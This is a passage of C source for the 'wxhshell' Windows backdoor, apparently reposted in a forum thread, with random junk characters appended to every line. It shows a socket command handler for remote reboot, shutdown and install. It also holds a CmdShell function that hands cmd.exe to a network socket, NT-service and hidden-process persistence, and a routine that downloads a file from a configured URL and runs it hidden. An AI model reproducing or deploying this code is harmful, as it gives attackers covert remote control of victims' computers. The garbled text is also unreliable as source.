  // 帮助 gs~u8"B  
  case '?': { piIGSC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (?.h<v1}  
    break; EvA8<o  
  } " ;\EU4R  
  // 安装 f.R;<V.)  
  case 'i': { R m2M  
    if(Install()) n~i^+pD@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;B :\e8  
    else .l,NmF9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *_a jb:  
    break; 1D~B\=LL}  
    } 'w|N} 4  
  // 卸载 M?['HoRo  
  case 'r': { s(MdjWw  
    if(Uninstall()) Fg2/rC:_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cn9=wm\\  
    else E6-~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &G3$q,`H  
    break; }UG<_ bE|  
    } (YYwn@NGj  
  // 显示 wxhshell 所在路径 W)Yo-%  
  case 'p': { V<KjKa+sG  
    char svExeFile[MAX_PATH]; w7<4D,hk  
    strcpy(svExeFile,"\n\r"); &Mz.i,Gh  
      strcat(svExeFile,ExeFile); /[q_f  
        send(wsh,svExeFile,strlen(svExeFile),0); =v{ R(IX%  
    break; -^rdB6O6j  
    } JNu+e#.Y  
  // 重启 dcE(uf  
  case 'b': { `_J>R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t*c_70|@k  
    if(Boot(REBOOT)) HLE%f;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CY!H)6k  
    else { Nk9w ; z&  
    closesocket(wsh); aZ ta%3`)  
    ExitThread(0); a6/ETQ  
    } LM!@LQAMY  
    break;  Y@b|/+  
    } dmMrZ1u2  
  // 关机 ,JJ1sf2A  
  case 'd': { 3b<;y%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9a'}j#mJo  
    if(Boot(SHUTDOWN)) @\=4 Rin/q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >vuR:4B  
    else { g_"B:DR  
    closesocket(wsh); :QMpp}G  
    ExitThread(0); 9*CRMkPrd  
    } Z>W&vDeuN  
    break; z7Z!wIzJ  
    } pWb8X}M  
  // 获取shell l!}7GWj  
  case 's': { (IAR-957pN  
    CmdShell(wsh); YD5mJ[1t"2  
    closesocket(wsh); os+ ]ct  
    ExitThread(0); }jNVR#D:  
    break; .WGrzhsV  
  } ]pVuRj'pP  
  // 退出 j7VaaA  
  case 'x': { (T.g""N~`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2o0WS~}5  
    CloseIt(wsh); asbFNJG{  
    break; z_Pq5  
    } qqu ]r  
  // 离开 <mQ9YO#  
  case 'q': { &tlU.Whk+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g}I{-  
    closesocket(wsh); m khp@^5  
    WSACleanup();  t&G #%  
    exit(1); 1kh()IrA  
    break; ^ pocbmg  
        } (abtCuZ8z  
  } >i2WYT  
  } In}~bNv?  
;O({|mpS\  
  // 提示信息 :Z3]Dk;y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nTz( {q  
} ZgxpHo  
  } k_ijVfI9  
P m|S>r  
  return; NF_[q(k'  
} 2K{)8 ;^  
!LpFK0rw  
// shell模块句柄 4/&.N]  
int CmdShell(SOCKET sock) 3u= >Y^wu  
{ `Fb%vYf  
STARTUPINFO si; 5>h# hcL  
ZeroMemory(&si,sizeof(si)); n<>]7-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %nj{eT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sfCU"O2G  
PROCESS_INFORMATION ProcessInfo; ^<Sy{KY  
char cmdline[]="cmd"; t\-;n:p-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sTECNY=l  
  return 0; EB5 ^eNdL  
} )oMMDH w\  
M`|E)Y  
// 自身启动模式 lZD"7om  
int StartFromService(void) C)ebZ3  
{ -$(2Z[  
typedef struct 0C0ld!>r  
{ ~*RBMHs  
  DWORD ExitStatus; l>@){zxL  
  DWORD PebBaseAddress; ^:o^g'Yab  
  DWORD AffinityMask; DA/ \[w?J  
  DWORD BasePriority; Bvz& p)(  
  ULONG UniqueProcessId; =UZm4=T  
  ULONG InheritedFromUniqueProcessId; \Jr7Hy1;  
}   PROCESS_BASIC_INFORMATION; OJ)XJL  
Cvtz&dH  
PROCNTQSIP NtQueryInformationProcess; iZ2nBi Q  
R|!4klb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #!]~E@;E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OH vV_  
`xFgYyiQd  
  HANDLE             hProcess; m2to94yh  
  PROCESS_BASIC_INFORMATION pbi; gg :{Xf*`  
"'U]4Z%q!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~P+;_  
  if(NULL == hInst ) return 0; 3>k?-%"  
/m+.5Qz9)@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dqw0ns.2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mUwGr_)wj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X%Ta?(9|.^  
w;V+)r?w  
  if (!NtQueryInformationProcess) return 0; ^e1mK4`  
#(r1b'jfP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s^-o_K\*c  
  if(!hProcess) return 0; o1rH@D6/-  
:74G5U8%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5m rkw  
EZ)GW%Bm2  
  CloseHandle(hProcess); +(##B pC  
^ V8?6E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wL" 2Cm  
if(hProcess==NULL) return 0; >Gr,!yP  
RVa{%   
HMODULE hMod; EdS7m,d  
char procName[255];  H r;\}  
unsigned long cbNeeded; ~{npG  
$R/@%U)-o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WD?COUEox  
BPC>  
  CloseHandle(hProcess); n,%/cUl  
jg=}l1M"  
if(strstr(procName,"services")) return 1; // 以服务启动 UJrN+RtL  
`:EU~4s\  
  return 0; // 注册表启动 IFF3gh42.  
} RJA#cv~f  
WlnS.P\+E  
// 主模块 )W3kBDD  
int StartWxhshell(LPSTR lpCmdLine) ^%m~VLH  
{ jo[U6t+pj7  
  SOCKET wsl; D P+W* 87J  
BOOL val=TRUE; ' 8UhYwyr  
  int port=0; to;cF6X  
  struct sockaddr_in door; d8/KTl  
(KdP^.7  
  if(wscfg.ws_autoins) Install(); Z}$1~uyw  
O ftjm X_  
port=atoi(lpCmdLine); 8DZ OPA  
h>&t``<  
if(port<=0) port=wscfg.ws_port; %jj\w>  
H.[t&VO  
  WSADATA data; @ R;o $n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3+ WostOx  
!i?aRI/6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,L^ag&!4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &8QkGUbS<  
  door.sin_family = AF_INET; }y#aO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9c=`Q5  
  door.sin_port = htons(port); >d5L4&r  
km9@*@)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0*8uo W t&  
closesocket(wsl); A<[X@o}92  
return 1; /3Cd P'c  
} x.aqy'/`  
uKd79[1  
  if(listen(wsl,2) == INVALID_SOCKET) { ak]H|D" 9  
closesocket(wsl); E#mpj~{-  
return 1; y'U-y"7y  
} }n$I #G}\/  
  Wxhshell(wsl); YfU6 mQ  
  WSACleanup(); 'n!kqP  
R'p- 4  
return 0; P(Q}r 7F~(  
3"iJ/Hc}9  
} }i@%$Ixsn  
&cB +la\_  
// 以NT服务方式启动 x_.}C%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T6Ks]6m_  
{ 8WMGuv  
DWORD   status = 0; ue"e><c6:  
  DWORD   specificError = 0xfffffff; vB1nj<]&z  
V?o%0V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hrj@I?4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1|xo4fmV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,ko0XQBl  
  serviceStatus.dwWin32ExitCode     = 0; _XUDPC(*qz  
  serviceStatus.dwServiceSpecificExitCode = 0; /7p1y v  
  serviceStatus.dwCheckPoint       = 0; w.R2' W R  
  serviceStatus.dwWaitHint       = 0; BZAF;j  
m15> ^i^W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wGAeOD  
  if (hServiceStatusHandle==0) return; u1_NC;  
Ebytvs,w  
status = GetLastError(); Ue2k^a*Ww  
  if (status!=NO_ERROR) QVPJ$~x  
{ '=]|"   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O*+,KKPt  
    serviceStatus.dwCheckPoint       = 0; @RFJe$%  
    serviceStatus.dwWaitHint       = 0; u13v@<HGc  
    serviceStatus.dwWin32ExitCode     = status; FpFkZFtG'm  
    serviceStatus.dwServiceSpecificExitCode = specificError; .V?>Jhok  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SyCa~M!}>  
    return; 95hdQ<W  
  } IltU6=]"l  
53)*i\9&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Lo^gg#o  
  serviceStatus.dwCheckPoint       = 0; <%EjrjdvL+  
  serviceStatus.dwWaitHint       = 0; x]<0Kq9K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L<H6AzR+  
} d}(b!q9  
xzOM\Nq?O  
// 处理NT服务事件,比如:启动、停止 `Fs-z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^DOQ+  
{ B5 H=#  
switch(fdwControl) :`20i*  
{ BF+i82$zo  
case SERVICE_CONTROL_STOP: 8c0ugM  
  serviceStatus.dwWin32ExitCode = 0; [Cf{2WB:7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >19j_[n@VC  
  serviceStatus.dwCheckPoint   = 0; LCkaSv/[RB  
  serviceStatus.dwWaitHint     = 0;  o C#W  
  { _Q6` Wp6m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b<"LUM*;  
  } Jqgo\r%`  
  return; 5R/k8UZ  
case SERVICE_CONTROL_PAUSE: (G`O[JF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wQw y+S  
  break;  _V_GdQ  
case SERVICE_CONTROL_CONTINUE: F@u>5e^6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hxx`f-#=  
  break; oiNt'HQ2/  
case SERVICE_CONTROL_INTERROGATE: n`2LGc[rP  
  break; `]4bH,%~  
}; 7Hzv-s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7=[/J*-m  
} R?H[{A X  
&(YNz9L  
// 标准应用程序主函数 5Int,SX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V[baGNe  
{ =Z}=nS?4  
,1|0]:  
// 获取操作系统版本 8/`ij?gn  
OsIsNt=GetOsVer(); <) ltvo(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {BS`v5*  
~k780  
  // 从命令行安装 %P`w"H,v3#  
  if(strpbrk(lpCmdLine,"iI")) Install(); qASV\ <n  
GMQKR,6VM  
  // 下载执行文件 B{\qYL/~  
if(wscfg.ws_downexe) { gWpG-RL0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  T6N~L~J  
  WinExec(wscfg.ws_filenam,SW_HIDE); `CF.-Vl3J#  
} ;;lOu~-*$p  
%hH@< <b(s  
if(!OsIsNt) { D!nx%%q  
// 如果时win9x,隐藏进程并且设置为注册表启动 JWo).  
HideProc(); \2NT7^H#  
StartWxhshell(lpCmdLine); N(= \S:  
} w^wh|'u^_@  
else J^)=8cy  
  if(StartFromService()) "=vH,_"Ql  
  // 以服务方式启动 y?.l9  
  StartServiceCtrlDispatcher(DispatchTable); NB?y/v  
else z< ,rE  
  // 普通方式启动 ]aTF0 R  
  StartWxhshell(lpCmdLine);  _)=eE  
,ou&WI yC  
return 0; !;h`J:dN  
}
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只看该作者 1 发表于: 2006-10-10
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